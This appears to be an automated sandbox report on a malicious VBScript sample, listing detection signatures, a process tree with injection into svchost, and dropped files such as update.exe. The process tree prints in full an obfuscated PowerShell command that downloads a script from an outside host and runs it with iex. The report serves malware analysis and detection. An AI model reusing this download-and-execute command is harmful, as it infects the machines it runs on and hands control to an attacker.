Analysis
- max time kernel
19s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
20/07/2026, 12:18
General
- Target e7ldXG_LLQXKKtmbUmh4gSmYZh8ZmGtyqNub8Wn0I_Q.vbs
- Size 242B
- Sample260720-pgm72shy2k
- SHA256 7bb95d5c6f8b2d05ca2ad99b526878812998661f19986b72a8db9bf169f423e4
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes dropped EXE 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e7ldXG_LLQXKKtmbUmh4gSmYZh8ZmGtyqNub8Wn0I_Q.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" powershell -c "$a='htt';$m=(New-Object Net.Webclient);$c=$m.DownloadString($a+'p://mail.qilantelecorn.com:8080/578620a2-da4d-46e4-8434-6cac06ae174c');iex $c"2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "$a='htt';$m=(New-Object Net.Webclient);$c=$m.DownloadString($a+'p://mail.qilantelecorn.com:8080/578620a2-da4d-46e4-8434-6cac06ae174c');iex $c"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rzxnxpsf\rzxnxpsf.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESECDC.tmp" "c:\Users\Admin\AppData\Local\Temp\rzxnxpsf\CSCB693592F7E18459E88BF478B8E0787A.TMP"5⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rd5umh54\rd5umh54.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF4BB.tmp" "c:\Users\Admin\AppData\Local\Temp\rd5umh54\CSCC56319EF6271409E95FB76D88086AA96.TMP"5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\roonrhe3\roonrhe3.cmdline"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA18.tmp" "c:\Users\Admin\AppData\Local\Temp\roonrhe3\CSC9D28D06252394656B4D65B8DC9FD350.TMP"6⤵
-
-
-
C:\Windows\System32\svchost.exe"C:\Windows\System32\svchost.exe"5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Sun\update.exe"C:\Users\Admin\AppData\Roaming\Sun\update.exe"6⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Roaming\Sun\update.exeC:\Users\Admin\AppData\Roaming\Sun\update.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
RESA18.tmp
RESECDC.tmp
RESF4BB.tmp
rd5umh54.dll
roonrhe3.dll
rzxnxpsf.dll
update.exe
CSCC56319EF6271409E95FB76D88086AA96.TMP
rd5umh54.0.cs
rd5umh54.cmdline
CSC9D28D06252394656B4D65B8DC9FD350.TMP
roonrhe3.cmdline
CSCB693592F7E18459E88BF478B8E0787A.TMP
rzxnxpsf.0.cs
rzxnxpsf.cmdline
memory/1000-244-0x0000017949610000-0x0000017949E74000-memory.dmp
memory/1000-228-0x000001792A790000-0x000001792A7B1000-memory.dmp
memory/1000-248-0x00007FF6C5BF0000-0x00007FF6C5C35000-memory.dmp
memory/1000-247-0x000001792D4B0000-0x000001792D4C5000-memory.dmp
memory/1000-229-0x000001792A790000-0x000001792A7B1000-memory.dmp
memory/1000-245-0x000001792D410000-0x000001792D4B0000-memory.dmp
memory/1000-251-0x000001792A7C0000-0x000001792A7D0000-memory.dmp
memory/1000-223-0x000001792A790000-0x000001792A7B1000-memory.dmp
memory/1000-227-0x000001792A790000-0x000001792A7B1000-memory.dmp
memory/1000-60-0x000001792A790000-0x000001792A82F000-memory.dmp
memory/1000-246-0x0000017946800000-0x000001794689E000-memory.dmp
memory/1000-238-0x000001792A7C0000-0x000001792A7D0000-memory.dmp
memory/1000-231-0x000001792A7C0000-0x000001792A7D0000-memory.dmp
memory/1000-230-0x000001792A790000-0x000001792A7B1000-memory.dmp
memory/1952-254-0x000001FA9EC40000-0x000001FA9ECBD000-memory.dmp
memory/2512-58-0x000001A175FF0000-0x000001A175FF8000-memory.dmp
memory/5020-4-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp
memory/5020-43-0x00000253E1780000-0x00000253E198A000-memory.dmp
memory/5020-5-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp
memory/5020-6-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp
memory/5020-7-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp
memory/5020-8-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp
memory/5020-9-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp
memory/5020-10-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp
memory/5020-11-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp
memory/5020-22-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp
memory/5020-242-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp
memory/5020-243-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp
memory/5020-42-0x00000253E13F0000-0x00000253E1566000-memory.dmp
memory/5020-12-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp
memory/5020-41-0x00000253E1120000-0x00000253E1128000-memory.dmp
memory/5020-0-0x00007FFD8D74F000-0x00007FFD8D750000-memory.dmp
memory/5020-28-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp
memory/5020-21-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp
memory/5020-3-0x00000253E0D40000-0x00000253E0D62000-memory.dmp
memory/5020-27-0x00000253E1110000-0x00000253E1118000-memory.dmp